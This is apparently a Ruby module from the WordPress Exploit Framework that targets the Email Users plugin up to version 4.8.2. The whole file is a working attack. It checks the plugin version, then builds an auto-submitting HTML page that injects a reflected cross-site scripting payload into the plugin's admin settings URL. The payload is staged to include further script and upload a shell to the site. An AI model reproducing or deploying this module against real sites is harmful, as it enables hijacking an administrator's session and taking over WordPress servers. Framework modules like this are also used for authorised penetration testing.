# frozen_string_literal: true

class Wpxf::Exploit::EmailUsersReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Email Users <= 4.8.2 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8549'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_email_users_wordpress_plugin.html']
      ],
      date: 'Jul 12 2016'
    )
  end

  def check
    check_plugin_version_from_readme('email-users', '4.8.3')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}?page=mailusers-user-settings', {
        page: '"><script>#{xss_ascii_encoded_include_script}<\\/script>'
      });
    </script></body></html>
    |
  end
end
